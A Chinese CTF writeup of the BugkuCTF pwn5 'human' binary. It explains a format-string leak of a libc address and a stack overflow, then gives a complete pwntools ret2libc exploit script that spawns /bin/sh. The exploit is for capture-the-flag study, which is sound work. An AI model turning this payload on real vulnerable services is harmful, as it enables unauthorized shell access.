BugkuCTF练习平台pwn5(human)的writeup

原创

zybn 于 2020-03-04 11:05:19 发布 688 收藏

分类专栏： pwn学习 文章标签： 信息安全 python 栈

这道题的思路相对简单，但是比较有代表性。

首先查看防护机制，发现只打开了NX。用ida打开题目，发现中文无法识别为字符串。这里需要用命令行打开ida，新建bat并编辑内容为`D:\IDA_Pro_v7.0\ida64.exe -dCULTURE=all human`即可。

漏洞有两处，第一处比较明显，是格式化字符串漏洞，如下所示。

```
memset(&s, 0, 0x20uLL);
puts("人类的本质是什么?\n");
read(0, &s, 8uLL);
printf(&s, &s);
puts(&s);
puts(&s);
puts(&s);
```

第二处漏洞是栈溢出，在第二次输入的时候，read函数会读入0x40长度的数据，但s只有0x20的长度，造成溢出。但是，想要溢出还要有一个条件，就是不要跳转到if分支中。

```
read(0, &s, 0x40uLL);
if ( !strstr(&s, "鸽子") || !strstr(&s, "真香") )
{
  puts("你并没有理解人类的本质,再见!");
  exit(0);
}
puts("人类的三大本质:复读机,真香,鸽子");
return 0;
```

先说格式化字符串漏洞。分析程序可发现，只能输入8个字符，因此格式化字符串漏洞只能用于泄露地址，想要改got的话长度不够。在gdb中给printf下断点，发现栈中存有返回地址，即__libc_start_main+240的地址，这是格式化字符串的第11（6+5，因为是64位）个参数，因此泄露地址的payload就是%11$p。这里需要注意的是接收的格式要转换为16位int，再减去偏移的240，之后才能作为__libc_start_main的起始地址传给LibcSearcher，确定libc版本，找到system和/bin/sh地址。

```
pwndbg> stack
00:0000| rsp      0x7fffffffde88 → 0x400821 (main+139) ← lea    rax, [rbp - 0x
20]
01:0008| rdi rsi  0x7fffffffde90 ← '%p%p%p%p'
02:0010|          0x7fffffffde98 ← 0x0
... ↓
05:0028| rbp      0x7fffffffdeb0 → 0x4008d0 (__libc_csu_init) ← push   r15
06:0030|          0x7fffffffdeb8 → 0x7ffff7a2d830 (__libc_start_main+240) ← mo
v    edi, eax
07:0038|          0x7fffffffdec0 ← 0x0
```

再说栈溢出漏洞。通过strstr函数的使用方式可得，字符串中必须同时含有“鸽子”和“真香”才不会跳转进去。利用cyclic，可以发现报错的返回地址是0x6161616961616168，即“真香鸽子”后再有28位填充数据（cyclic -l查看后4个字节）。由于是64位，所以/bin/sh地址需要传给rdi。用ROPgadget搜索，发现程序中存在pop rdi; ret的地址，因此可以确定payload了，完整利用代码如下。注意因为有中文，需要设置下python的编码。

```python
#coding=utf-8
from pwn import *
from LibcSearcher import *
sh = process('./human')
#sh = remote('114.116.54.89',10005)
context.log_level = 'debug'

sh.recvuntil('?')
payload = '%11$p'
print payload

sh.sendline(payload)
leak_addr = int(sh.recvuntil("%11$p")[:-6], 16)
libc_start_addr = leak_addr - 240

libc = LibcSearcher("__libc_start_main", libc_start_addr)
libc_base = libc_start_addr - libc.dump('__libc_start_main')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print hex(libc_base)

pop_rdi_ret = 0x0000000000400933

sh.recvuntil('?')
pass_str = '真香鸽子'+'a'*28+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr)
sh.sendline(pass_str)
sh.interactive()
```